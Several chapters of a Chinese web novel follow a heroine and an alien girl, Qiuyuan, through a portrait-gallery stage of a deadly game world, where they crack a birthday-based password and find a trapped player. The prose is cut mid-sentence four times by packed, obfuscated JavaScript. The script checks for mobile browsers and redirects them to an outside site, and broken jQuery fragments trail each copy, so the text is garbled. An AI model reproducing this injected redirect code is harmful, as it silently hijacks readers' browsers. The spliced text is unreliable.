窗外的微尘形成龙卷卷入画里,走廊上的画如同多米诺骨牌,一幅接一幅地亮起来。而所有窗户和画一个接一个地出现这种虹吸现象,随着白色微尘被卷走,窗外变得一片漆黑,整条走廊骤然暗下来。 祁晚的头骤然疼了起来,并且吓了一跳,“看不见了!给个灯啊?” 等等,刚才她好像没看见天花板上有灯。 半晌,她才从这阵剧烈的头疼中缓过神,借着画作发出来的荧光看清了路。 头顶不远处,那小猴子依旧望着她。 就是这个猴子吧…… 天亮着的时候看起来当然很可爱,但现在几乎没有光了……它的毛色就变得暗沉,像凝固的血。 一双眼睛几乎占据了整张脸的三分之一,黑亮的眼睛此刻只反射着一点画作发出的光,反射的光有点发绿。 它一动不动地蹲在那里,还死死地盯着她不错眼珠。 有点吓人。 祁晚打了个寒战。 这是干什么呢? 她有点不敢往前走了。 她要是继续往前走,这个小猴会不会像健雄一样跳到她的肩膀上学猫叫? 好在它没有这么干,它走了。 在祁晚略带惊恐的目光中,它转身,抓着藤蔓往走廊另一头荡走,很快就消失在了她的视野里。 健雄小猴可算走了——她顿时松了口气。 然而这口气只松了一半。 “砰——” “咔嚓——” 数道闪电撕裂无尽的黑暗,劈进走廊。 巨大声响使得整个走廊都在震动,藤蔓的叶子被震落,窸窸窣窣落在地面上,又被连绵的电光点燃。 震动与雷光之下,祁晚视野范围扩大,看见已经走远了的小猴子一个没抓稳,惊呼着掉了下来。 但并没有落地。 闪电断断续续的光芒中,走廊尽头站着一个人影。 一个纯黑色的人影。 失手的小猴子轻巧地落在了那人肩上。 雷鸣声停,最后一道闪电穿窗而过,化作人形,很狼狈地落在了地上。 落地的人是个女孩,一头银发,穿着很可爱的洛丽塔风裙子,围着一条围裙。然而裙子已经变得很破烂,围裙被切割得看不清上面的字,银亮的发丝也烧焦了不少。 ——是秋原。 还是不知道跟谁打了一架的秋原。 “退后!别过来!”秋原踉踉跄跄地站起,气息不稳。明明没回头,却也知道身后是谁,“祁晚……别靠近那个人!” 还好吧……祁晚默默后退,心想你不说我也不会过去的。 这电闪雷鸣天崩地裂的,玩什么呢? 还有走廊对面那人,大概可能是个人吧,看着跟个鬼似的……如此情形,看着就危险,她才不过去,她又不傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177603|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 闪电过后,走廊再度陷入黑暗。 黑暗中,越过狼狈的秋原,祁晚只能看见一对散发着淡淡银光的光点。 是那黑衣人的眼睛。 像深夜狩猎的野兽,在最深的黑暗里盯着自己的猎物,眼里反射着冷漠的光。 走廊两端,一黑一白两个人影遥遥对峙,窗外又是一道落雷劈进,精准地落在了秋原脚边。 祁晚离她很近,吓了一跳,又往后退了一点。然而走廊就这么点地方,她退无可退,整个人贴着墙,恨不得把自己塞进画后边。 这次的闪电没有消失,秋原把它握在手里,如同握着一把长剑,指向走廊另一头的人影:“你别想再控制我!” 走廊尽头那人没对这句话给出什么回应,只是很疲惫似的闭上了眼,那两点来自祂眼睛的银光顿时消失。仅有的可视特征消失,这全身纯黑的人就连看都很难看见了。 反倒是祂肩上的小猴子朝这边做了个鬼脸。 “少把自己当回事,以为自己很厉害吗?”小猴子做完鬼脸,发出猴里猴气的声音,“让你留下还不满意?给你玩家身份你就收着,哪来那么多事?拜托,大家都很忙,没空理你。” 秋原抿紧了唇,掌心的闪电仍指着那人,“哪来的猴子?为什么要让猴子说话?猴子能说明白什么……” “猴子怎么了?猴子没有猴权吗?”小猴子发出尖叫,抬手居然扔出了火球,你歧视谁呢?” 祁晚持续处于一个悚然的状态。 猴子做鬼脸!还会说话!还嘲讽!还有超能力!连发大火球啊!秋原更是手握闪电,宛如雷神!她究竟误入了个什么片场? 而且她终于发觉那黑色人影看起来有点眼熟了——刚才那眼神,跟差点弄死她的“绵头雪兔子”好像啊! 还有那个一看就要命的火球…… 她转身开始试图砸窗户,“这到底是打什么呢要了命了关我什么事让我出去啊——” 秋原没理身后试图化身土拨鼠的某人,手中的闪电伸展,噼啪几声过后,火球化作火雨散落,将屋顶的藤蔓烧焦了不少,还有一部分散落在画上。 火雨炫目,电光更炫目,乌木画框燃起火苗,整个走廊顿时亮如白昼,烧焦的藤蔓带着火星噼里啪啦地落在地面上。秋原目光凛然,最后一道闪电直接朝着走廊尽头劈去。 只是对面的人比她更快,在她的闪电击穿空气前,那人身边已经出现了一道传送门。 没等她的电光落地,那人已经迈过了传送门,走了。 走前,小猴子又做了个鬼脸,“略略略——我们走喽,你自己玩去吧——” 一切都在电光火石之间。 祁晚被晃得睁不开眼,等到终于睁开眼时,借着秋原手中剩余的电光和走廊里四处燃烧的火光,她发现走廊对面那人已经不见了。 画作和藤蔓的燃烧发出令人牙酸的噼啪声。而细碎的燃烧声中,秋原转身,缓缓朝她走来,满走廊的电光被她收回掌心。 电光流闪,看起来属实是很炫酷——秋原是个这么牛的人吗? 但是…… 没用几步,秋原走到了她面前,穿着那身有点破烂的裙子站在她面前,仰脸看着她,露出了一个很眼熟的,眯着眼的笑。 “找到你了。”她说。 34. 肖像(2) 上一场游戏不是白玩的,跟柳州与和雷铭碰头后,众人已经推断出了秋原是在找她,虽然不知道为什么吧——不过现在都不重要了。 也不是不重要,就是方才那一幕信息量太大,她想问的事情也太多,有点找不着头绪。 祁晚CPU过载,一时没说出话来。 半晌,她拍拍屁股站起来,试图通过身高优势取回一些自信,干巴巴地问道:“你找我干嘛?” 她本以为秋原会马上回答,或者会像她们第一场游戏告别时那样神神秘秘地卖个关子,然而都没有。 秋原低下头,手指抵住口鼻,陷入了沉思。 祁晚:“不是,怎么还给你问住了?” 秋原抬头看她。 可能是错觉吧,祁晚在那双琉璃般的眸子里看见了一种清澈的愚蠢——像她们公司新来的实习大学生。 “我……”秋原皱起脸,一幅很苦恼的样子,“我,嗯……我……那个……” 你什么?你倒是说啊?祁晚有点抓狂了,只是解释一下为什么要找她而已,怎么就那么难? 秋原的脸皱起来,并且越皱越紧,“因为你好像很重要。我以为,找到你就能找到……呃……祂们……可是,可是现在你好像又不重要了,而且我也见到祂了。那我找你……我找你是……” “对啊。”秋原仰起脸,表情更像她们公司新来的实习生了,“所以我为什么还要找你呢?” 祁晚:“……这个问题你问我?确定吗?” 意识到自己已经失去了目标,秋原有点失落,“那我接下来该去哪……” “出不去了呀……”这惨兮兮的姑娘蹲下身子,愁眉苦脸,“为什么啊……我要回家,我想回家了……” 祁晚无法接上这姑娘的脑回路。 “你先别愁了。”她也蹲下,正对着秋原的脸,“反正你现在也不走,换我问你点东西吧。” 秋原:“嗯……好。” 祁晚:“你说我很重要是怎么回事?为什么?” 秋原很困惑,“因为你就是很重要啊。” 好,一句废话——这姑娘的语言表达能力和理解力八成有点问题。 祁晚不跟她计较,“算了……那你要找谁?我是说除了我的那个,呃,人。已经见到了是什么意思?” “是构建这个世界的人类。”这次秋原的回答流利了,“能在意识储存装置里完成这种壮举,很厉害,所以我很想见见祂——毕竟连我们自己都没发现意识储存装置还可以这么用。” 祁晚听不懂。 什么意识储存装置?什么连秋原她们自己都没发现用法?完成这么多游戏世界的构建者居然是个人类?什么人啊这么牛…… “已经见到了就是……”秋原又站起身,指向走廊另一头,“你刚才不是也看见了吗?” 祁晚一惊,“就是那个黑衣人?” 秋原点头,一脸理所当然,“是啊。” 祁晚再惊,“那你在跟那个人打架?” 看起来还打平了——她都不知道该说点什么好。 秋原再点头,撅起嘴,“我以为你们人类都很友善的,方方就很友善……结果祂一点也不,我想跑,祂还抓我。抓了也就算了,祂还控制我,抽取了我好多能量,还用我的能量打晕你……我费了好大劲才跑掉……气死我了啊!” 祁晚没办法全听懂,但知道自己在等待游戏第二部分见到的冒牌“雪兔子”是谁了。 行吧,她死得不冤。 “现在我想走了。”秋原眼里泛起泪光,“我想回家了!结果祂把意识储存装置给锁了……我出不去了!要不然我跟祂打什么?祂不让我回家啊!” “好过分啊!!!”秋原气得跺脚,“还有那个猴子……到底是谁啊?也打我……方方没给我讲过……为什么出了第一场游戏就找不到方方了……我好想她,她为什么不来救我……” 祁晚又听不懂了。 她真想求求秋原不要沉浸在自己的世界里,像她现在这样说话别人是听不懂的啊…… “那个,打断你一下。”祁晚只得强制打断秋原的抱怨,“意识储存装置是?” 秋原:“就是储存你们人类意识的装置啊。” 好,又一句废话。 心知以秋原的语言表达能力与理解能力,她大概不会得到靠谱的解答,她干脆不再追问,而是改问自己方才感到的异样,“什么叫我们人类?你说话好奇怪。” 中二病吗?从第一场游戏的表现来看确实挺像。 “奇怪什么?”秋原看起来比她更纳闷,“我又不是人类。” 祁晚:“……” 祁晚:“啊?” 秋原看着她,道:“有一个叫林洋的女性人类给我的种族起了名字,在你们人类的语言系统里,我们被叫做光民。唔,简单来说,就是你们的种族名叫人类,我们的种族名叫光民——你不会连这都不懂吧?” “难怪构建者祂们放弃你了。” 祁晚:“……” 猪脑过载。 还有…… 叫林洋的女性人类? 她认识的叫这个名字的女人只有一个,再联想到等待游戏第二部分看见的幻觉…… “你说的林洋,”祁晚声音艰涩,“就是那个女性人类。她的职业是老师吗?” 秋原:“是啊。” “你等会。”祁晚痛苦地蹲下身,揉太阳穴,“我得想想,让我想想啊……我好乱……” 三秒后,她猛然抬起头瞪着秋原,“你不是人?!” 秋原用一种看傻子的眼神看着她。 “根据我的资料库,你这句话是一句骂人话,但个别情境下也能用来表达疑问……你是在问我吧?不是在骂我吧?” 祁晚很命苦地控诉,“没有骂你。” “那我不是都说了吗?”秋原一脸对傻子的怜悯,“我是光民啊。” …… 主神空间。 粗壮而看不到边际的世界树旁,一道漆黑的传送门张开,一个漆黑的人影走了出来,肩上蹲着一只小猴。 适时,引导者正坐在世界树粗大的枝干上帮忙梳理世界脉络,见人回来,露出一个笑容,“怎么这么早就回来了?玩得怎么样?” 主神抬头,“还可以。” 引导者从十几米高的树干跃下,落到主神身边,抱起小猴,“悟明也回来啦——怎么突然舍得给它放假?。” 然后她看向主神,“问你玩得怎么样你还真说——入侵者怎么样?还有祁……实验体呢?” “不足为惧。”这是在说入侵者。 “悟明没有放假,去忙别的。”主神提起小猴,无视它的尖叫与反抗将它丢进传送门,“我开启了多实验体计划。已经叫管理者薇筛选合适的人选了。” “就是那个李岚林吗?”引导者招来一根枝条,两人坐下,“不是已经选了雷铭和……柳州与?再加上原有的祁晚,还不够吗?” 主神摇头,“不够。” “你还把构建世界的权柄给出去了。”引导者不理解,“而且你手里还有很多份吧,为什么突然把权柄分这么多份?” 主神不看她,眼睫微微垂下一点,“当然是有用。” 虽然主神那张脸向来没什么表情,但引导者何许人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194777|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也,自然能看出来,于是她意识到事情恐怕有点严重,“出什么事了?” 她继续追问:“你还封闭了向外的交流通道吧?要不是我和薇姐打算看看外边,还发现不了——出什么事了?你现在给说,马上。” 主神不答,似乎在思考。 引导者:“是入侵者的事?” 听到这里,主神叹了口气。 好,这就是猜对了。于是引导者问道:“不是说不足为惧吗?” 主神正想说什么,不远处,一道传送门出现,一头飘逸长发的管理者薇走了出来。 她一站定就开始报告,“李岚林失败了。” 主神平静地看着她,“预料之中。再让李岚林试一次。” 管理者薇:“再试一次……你的评判标准是什么?现在没有那么多能量拿去给人浪费,我建议直接下一个。” 主神:“她的精神韧性很强,比你强——我说了,再让她试一次,她会成功的。” 管理者薇微笑起来。 然而只有嘴角翘起,其余所有面部肌肉丝毫没动,一个很怒而被迫克制怒气的微笑,“倒也不必拉踩我,再来一次就再来一次……我已经选了17个可以实验的人,你看一下吗?” 主神:“嗯。” “你大致记一下名字吧。”管理者薇一挥手,一排光点在空中一字排开,“后续世界树也会一起监视,但我觉得他们一次性成功的可能性都不大……” 随后管理者薇开始挨个点名,“李一航、陈光明、范义康、马红、陈江……” 主神抬手叫停了她,“是按标准筛选的吗?” 管理者薇:“当然是,不过确实很奇怪。我查看了这些人生前的记忆,绝大多数都是扛过了第一波病毒的人。 “按你的说法,能不能拥有病毒抗体应该只取决于基因吧?跟精神强度也有关联吗?” 思考片刻,主神道:“我会再了解一下的。你继续。” 于是薇念完了全部17个名字。 主神很头痛地揉了揉眉心。 但管理者薇没有就此停下,而是又一挥手,挥出四个光点,道:“我个人还有几个想召回的。” “就是这四个。” “王可,丁明珠,林若楠,周辰。” 引导者:“咦?这些都是……” 管理者薇看向引导者,温和地笑起来,“很熟悉吧。我的副手们,反正也是要选人了。我干脆让他们也过来。” 然后薇的目光转向主神,笑容消失,“要不是忙到这个地步,我也不想让他们死了还要给我干活。” “所以到底发生什么了?”管理者薇问道:“这次给出去的可是构建世界的权柄。你还把交流通道也关闭了吧?为什么?” “入侵者不止一个。”主神终于能继续管理者薇来之前的话题,道:“数量庞大。” 引导者与管理者薇同时神色一凛。 主神平时喜欢说数据。如果连祂都不说数据,而是简短地用一个“庞大”来概括——是已经数不清了的意思吗? 还是真正的数字已经到了无法言说的地步? 主神:“关闭通道是防止装置内祂们的数量再增加。” “其余的呢……”引导者想起什么,问道:“还有其余的呢?就在外面老老实实地等着吗?” 想想都不可能。 “祂们正在组织攻击。”主神道:“进步很快,现在的攻击力度已经……就是因为这个,我才提前回来。” 随后主神转身面向世界树,17个白色光球依次落下,在祂身边围成一圈。 “需要做一些开战准备。” 35. 肖像(3) 黑暗的走廊里,藤蔓仍在燃烧,树叶已经燃尽了,不知从何而来的墙气流卷起灰烬,在空气中打着旋。 有了火光的照明,再加上画作本身也在发光,走廊里的亮度还算宜人。 没有画作被点燃,不幸中的万幸。 也有可能是这些画本身就不可点燃。 “我有点不懂了。”祁晚木然,问秋原:“所以你是来干啥的呢?” 秋原自己也不是很清楚这个事。 祁晚的C盘已经被秋原带来的信息塞满,无法运转——她现在不是很想思考秋原的事情了……一点都不想! 好端端的一个小外星人,非要往人类堆里凑,白白跟人干了一架不说,还给自己整得回不了家了——究竟是在搞什么? 莫名其妙!从动机到行为到结果全都莫名其妙! 于是她抛弃C盘,开启D盘思考,终于想起自己还要继续游戏,开始顺着走廊往前走,一幅一幅地观察这些画。 “我就是想来看看,玩一下的。”秋原无处可去,亦步亦趋地跟上祁晚,小声念叨:“来了以后才发现居然有这么厉害的人类,我就想见见这个人嘛,结果根本找不到……” “我想着,祂在你身上留了那么多标记,我跟着你,一定能找到祂……谁知道最后会变成这样……” 祁晚心说你不知道那我更不知道了,随后停下脚步,皱起眉头。 她朝远处扫了一眼,又将目光聚集到自己面前的画上。 姿势不同,背景不同,天色也不同。画里的人时而安静地坐着,时而品茶,时而在绚烂的花园里起舞,作画者站在不同的角度近距离观察着自己的爱人……所有画作唯一相同的元素就是表情,都在笑。 而且,所有的画画的都是同一个人,都是那个眉目多情的女人——兰迪.门罗;作者也都是同一个人——格斯塔.门罗。 眼前这幅画角落里也有落款。 【敬祝兰迪.门罗41岁生日快乐 爱你的格斯塔.门罗 —1982.6.3】 祁晚又倒回去看了前面几幅。 “每年都画了一幅啊……”她不免有些感慨,“真是很爱了……” 秋原跟个鬼似的跟着她,也不发出声音,听见她说话立刻上来搭话,“这也是你们人类表达爱的方式啊?资料里没有……” 祁晚回头看着这小外星人,很诚恳地道:“你外星人,说了你也不懂。闭嘴。” 秋原就乖乖闭嘴了。 祁晚一幅幅地看过去。 56岁之前的画作都没有什么异常,每年一幅,就是一个女人正常变老的过程。随着时间的推移,兰迪每年都在变老,但她的爱人格斯塔的爱意丝毫没有减少。 爱情本来就该是这样的东西,像窖藏的烈酒,愈久愈醇厚。 变化发生在57岁,1998年。 画作变成了一张黑白照片,记载着兰迪的死亡日期:1998.6.3,享年57岁。 她的生日跟忌日是同一天。 祁晚的心刺痛起来——生忌同日,她看着都难受,更别说那个深爱兰迪的人……格斯塔该不会殉情了吧? 好在没有,1999年的画作仍在继续。 因为失去了模特,格斯塔画中的动作和表情就变成了虚构的,但很传神——祁晚觉得,如果兰迪还活着,也一定做出这样的动作和表情。 只是画作的格调不再是阳光幸福的了。 背景变成夜晚与黄昏,天气阴天与雨雪居多,画面色调由主暖色调变成主冷色调,有些阴郁可怖。整幅画唯一会使用暖色调的就是画面中心的兰迪。 并且全部变成了远景,就像作画者是站在很远的地方看着,而画里的人不可触及。 也确实不可再触及,在这些画里,兰迪已经去世了。 祁晚继续看下去。 兰迪死后10周年,即2009年的那幅画——画里的人有些过于美了,但人体严重失真,更重要的是,色彩有点走样。 从前面的画看,格斯塔是个对色彩和形体掌控度极高的人,出现这样的错误是不应该的。 2010年,画里的兰迪五官变形,眼神中充满了忧郁与惶恐。 2011年,色彩变得单纯,兰迪的整张脸完全变形。 2012年,只剩下简单的轮廓,与其说是画,不如说是色块。 2013年,无意义的圆圈和抽象的图形。 这就是最后一幅了。 五年。 看到最后这几幅画,祁晚打了个寒战。 失去爱人固然是一件很悲伤的事,但……会造成这样的结果吗? 短短五年,精美的画作就变成的无意义的图形,她莫名有些脊背发凉,“为什么……发生什么了?” 然后她想起开局时的播报,“亡灵返世,找寻他失去的……要找什么?” “亡灵返世……亡灵……是格斯塔还是兰迪?” 秋原折返回2009年,又一幅幅看过来,随后了然,“我懂了。” 祁晚:“嗯?” 秋原:“就是阿尔茨海默症嘛,一般叫老年痴呆——我跟资料库里对比了,就是这样的。” 祁晚看向她。 “格斯塔肯定还是想画兰迪,可是她忘了兰迪的样子,也控制不了自己了,然后……”秋原指着那些画,道:“然后就是这样,她画不出来了。” 祁晚知道这种病,得了这种病的老人会在几年内失去几乎所有记忆,生活能力也会退回到幼儿时期。很痛苦的一种病,并且无药可医。 看时间,格斯塔在兰迪死后,独自生活了15年。而在这十五年里,他没有一刻停止过思念兰迪,直到他失去记忆,直到他死亡。 而且,即使是在他在快速失去记忆的这段时间里,他也没有忘记,要在6月3日这一天为兰迪画一幅画。 “你刚才说的是不是就是胜利条件?”秋原身上又开始涌现那种强烈的非人感——虽然她本来就不是人——她道:“那简单呀:亡灵就有可能两个人,要么是兰迪,要么是格斯塔。我觉得应该是格斯塔,因为胜利条件里提到了失去,格斯塔先失去了爱人,后失去了记忆嘛。” 祁晚本来很为这对恋人难受,然而秋原这没感情的东西已经在分析了,她痛苦地搓脸,“现在你倒是聪明起来了—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200344|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是,你跟着我干嘛?没有一点自己的事情做吗?” 秋原低下头,可怜兮兮的,“我没有地方去了,也哪都去不了,谁都找不到……跟着你不行吗?我可以帮你赢啊。” 祁晚:“……” 真是败给这个人了…… 祁晚:“算了,跟着就跟着吧。” 秋原立刻精神起来,“嗯!” 白送的小外星人不用白不用——祁晚立刻道:“还有一条胜利条件是要找到不知数量的其他玩家——能找到吗?” “你说其他玩家?”秋原歪头,露出一个“你全然不知吗?”的表情,指向走廊一头,“1998年那张遗照的后面有一个,是吗?” 那肯定是啊!祁晚痛心疾首,“那怎么还有人……你别用这种表情看我!我真没发现……刚才经过的时候你怎么不说?” 秋原:“你没发现啊?” 秋原:“可你也没问?” 祁晚:“……” 祁晚深呼吸,压制住火气,“再跟你说话我要气死了……还有别的没?” 秋原:“目前来说,没了。” “行。”祁晚立刻奔向遗照,抬手将遗照摘了下来,边摘边碎碎念:“抱歉抱歉抱歉实在冒犯……咱实在是有需要才动这一下,请千万别介意马上我就挂回去……” 摘下遗像,果然,墙面上出现了一个输密码的机关。旁边标注着有三次输入机会,如若全错则游戏失败。 要了命了。 秋原很贴心地道:“就是这里的墙后面有一片空间,里面有两个人,应该输对密码就可以了。” 输密码这么简单的事真不必提醒,不然她总有种秋原在把她当傻子的感觉……这姑娘莫不是真把她当傻子了? 祁晚:“我谢谢你啊。” 秋原:“不客气。” 祁晚:“……” 不管她,然后就是密码了。 祁晚环视四周。 会是什么呢? 没有提示,没有线索,但还要推理密码。这种时候就需要点高智能人才了,比如某个能发现墙后空间的小外星人—— 秋原正在放空,不知道在想什么,看表情更像什么都没想。 需要她的时候她反倒不说话了。 小混蛋。 祁晚:“你那个资料库,有能应对这种情况的东西吗?” 秋原脱离放空状态,“有哦。” 祁晚咬牙切齿,“那你不说……” “有些知识给的特别零碎……不太好找。”秋原刚才是在找资料,现在找到了,道:“你们人类的密码设立原则真是多得不可思议……不过绝大多数人都会把生日设成密码,先试试这个吧。” “你觉得这个密码是谁设的?格斯塔吗?她的话,我感觉会设成兰迪的生日。” 很有道理,可以一试。 “只能输入三次。”祁晚觉得有道理,“希望咱俩运气好点别弄错,一次蒙对最好。” 兰迪的生日是很好算的,祁晚从看见第一幅画时就顺手算出来了——19410603。 【密码错误】 【您还有两次输入机会】 36. 肖像(4) 秋原:“错了耶。” 秋原:“那试试格斯塔的生日?” 试不试的先不提,这里统共就这么些画,究竟哪里提到格斯塔了……祁晚幽幽地转过头去,“想法是合理的——但是哪里有格斯塔的生日?” “有的哦。”秋原掌心里浮现一个白色光球,光球里赫然是她们所在的这条走廊的略缩图,走廊北侧还有一些灰色的区域。而在光球右侧,出现了一个光屏,上面写着一些信息。 譬如兰迪和格斯塔的生日、职业、性别、生平……等等等等。 “1941.8.6。”秋原收起光球和光屏,道:“再试试这个。” 祁晚:“不,不是,你先等等。” 秋原:“等什么?” 祁晚:“你把刚才那个东西再弄出来……” 光球与光屏再度出现,祁晚整个人又震撼又惊悚,“你哪来的这些东西?” “从本世界的底层逻辑里翻出来的。”秋原语气平常,就像在唠家常,道:“这些都不加密,翻一翻就有了。” 不是,游戏世界的底层逻辑是可以随便翻的吗?啊?您怎么翻的啊?! “加密等级还不一样。”秋原指向光球,走廊北部有一些灰色的区域,“这些地方应该去过就能解锁,加密等级比较低。还有些比较高的,胜利条件之类的,我就看不到了。” “前两次游戏的时候还都能看到。”给祁晚看完,秋原再度收起这些东西,“不仅能看,还能改呢……结果后来我被发现了,祂就把这些东西都锁死了……” 秋原又开始自顾自地说话,祁晚被迫再动调度C盘。 “什么……什么叫不仅能看还能改……”祁晚脑子卡顿,声音也开始卡顿,问道:“你,不是,你都改啥了?” “第一场游戏的时候,我觉得我作弊有点不太好,有点欺负你了。就把隐藏胜利条件给改了一下,给你也改赢了。” “还有第二场去小镇的时候,我改了一下人数,不然没办法进去找你。” 祁晚人都麻了。 她到现在一共就赢了一次,居然还不是靠自己……居然是被人改了胜利条件才赢的吗?为什么啊? “所以第一场的胜利条件原本应该是什么?”她干巴巴地问道。 秋原开始思考,想不出来,于是捶了两下脑袋。 “外星人怎么也会敲脑袋。”祁晚木然,“你好接地气啊。” “资料里说的,人类在自己的造物不好用的时候会捶两下或者踹两脚。”秋原捶完脑袋,神清气爽地抬起头,“真的有用,我想起来了——原本的胜利条件是‘游戏结束时,全场狼羊玩家数量对等且总数大于4’,我把总数大于4去掉了。” “这样咱们俩就都赢啦。”秋原笑,“多好啊。” 祁晚:“啊,是呢。” 说起来,第一场游戏结束的时候……她确实是听见管理者发出了疑问声来着,还觉得对方很不专业,居然是因为这个啊?! 果然还是放弃C盘思考吧……祁晚再度转回D盘,果然还是继续游戏吧……“你刚才说格斯塔生日多少?” 秋原:“你记忆力好差哦。” 祁晚:“求你快说?非得损我一嘴吗?”怎么跟雷铭一个德行? 秋原:“19410806。” 祁晚输入。 【密码错误】 【您还有一次输入机会】 这还赢个鸡毛。 “放弃吧。”虽然崩溃,但还是要保持微笑,祁晚开始乱摁,“我就一常败将军,直接下一场……嗯?” 秋原拉住了她。 祁晚:“你干嘛?” 秋原:“我现在找不到构建者了,连这个游戏世界都出不去……但要是赢的次数多了,也许可以再去见祂……我要请祂把通道打开让我回家。” “上次是我态度不好。”秋原莫名地开始反省,“本来祂也没打算揍我。是我非要闹,祂才不让我走的。下次再见我肯定好好求祂,祂一定会让我回家的。” 祁晚:“啊,嗯……行吧,所以呢?” 秋原:“所以不要放弃!不要认输!再试试她们两个的生日的组合吧!” 秋原:“她们两个生在同一年,年份应该可以忽略。试试日期的组合吧,06030806或者08060603。” 祁晚删掉自己乱摁的数字,“这不是俩吗?输哪个?” 秋原:“这两个的概率差不多,我也不知道。” 祁晚:“意思是要蒙一个吗?” 秋原:“嗯。” “我这辈子中过最大的奖是五毛一包的瓜子。”祁晚心如死灰,“你让我蒙啊?会输的。” 秋原看着她,眨了眨眼。 祁晚:“干嘛?” 秋原:“那我来输入吧。你随便猜一个,我相信你。” 祁晚:“那我猜08060603。” 秋原点头应过,输入06030806。 【密码正确】 祁晚:“……” 随后整个墙面发出咔哒一声,出现了一条矩形的缝隙,密码锁下方弹出了一个门把手。 “开了!”秋原惊喜,“说了叫你别放弃嘛!” 拉开门,门内也没有灯,一片黑暗。画作的光只能照亮门口的一小块地方。 秋原想了想,指尖冒出一个灯泡大小的光球,光球飘到房间正中,照亮了整个房间。 “您还有这能耐啊。”祁晚吐槽,“不早用。” 走廊里一开始有火光,亮度还算可以。藤蔓燃尽后就只剩下画作本身的荧光,暗得要死,她看画看得眼都要瞎了。 秋原:“你没说啊。” 祁晚:“……” 房间里密密麻麻地排布着柜子,摆满了各种瓶瓶罐罐和书籍,只在房间东北角有着一片空地。 秋原无需适应光线,她对这一屋子的柜子很好奇,自己钻进去逛了。 祁晚先是被光球晃到,缓了好一会才能勉强眯着眼观察屋里,睁开眼时秋原已经不见了。 ——丫自己逛去吧,爱去哪去哪,丢不了得了。 东北角墙角的空地摆着一把椅子,椅子上绑着一个人。 很眼熟。 “柳州……与?” 角落里的人动了动。 她立刻穿过柜子缝隙赶过去,“柳州与?喂!是柳州与吗?” 椅子上的人似乎睡得很沉,突然的强光没惊醒她,开门声也没惊醒她。直到听见自己的名字,她才终于醒了。 “哎?”柳州与又惊又喜,“祁晚?” “救我啊!!!!”柳州与热泪盈眶,像条鲤鱼一样开始挣扎,破烂椅子发出不堪重负的吱嘎声,“我还以为我要在这被绑一辈子了——” “你怎么回事?”柳州与被不知道什么材质的绳子绑住,祁晚试了一下,发现无法徒手扯开,便去寻找工具,“怎么被绑在这?谁干的?” 从刚才开始,房间另一边的柜子就发出被撞的声音,好像有一些瓶罐和书掉在地上。不多时,秋原从柜子里钻出来,“柳州与?” “咦?哎?”柳州与来回看这俩人,“你们都在?秋原?不对啊……之前管理者说你不是玩家啊?你怎么也在……你之前去哪里了?” 在秋原开启废话文学之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203722|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,祁晚先开了口。 “比较复杂。”她找来一把美工刀,开始割柳州与手上的绳子,道:“事情比较多,一点点说吧,秋原的事先放一边,游戏的事比较重要——你先说你被谁绑在这的。” 柳州与看起来还是想问,但憋住了,“行吧,但那边怎么还有扇门,这里不是地下室吗?” “外边是条画廊,挂着很多画,我一开始就出现在那。”祁晚道:“这次的游戏跟以前不太一样,玩家好像不是刷新在一起的,你是在哪?” “我来的时候,是在一片花园。”柳州与道:“在地面上,我穿过了好长一条走廊才到这里来。” “花园里有个女人,就是她把我绑起来的。”柳州与嘶了一声,“祁晚你注意点,别割我手……” 祁晚:“抱歉抱歉……这个绳什么材质的?弄不开啊。” 柳州与:“我也不知道啊,你使点劲,我接着说……系统这次没说具体的玩家数量,就说我这次获得的身份是什么‘追寻者’,但我也不知道怎么找,就先去问那个女的。那女的一开始态度还挺好,听我是来帮忙的,还给我沏茶。” 祁晚:“那后来怎么绑你了?” “我说了胜利条件。”柳州与道:“就那句亡灵返世,也不知道触发什么了,她说要给我安排个房间住,就把我带到地下室关起来了。” “等你把我解开,咱们得再回到地面上去——怎么还没弄开?” 祁晚:“真的很硬啊,还要注意不碰你手。要不直接砸椅子吧?”然后她招呼秋原,“别光听,过来看看——你看看你能弄开吗?” 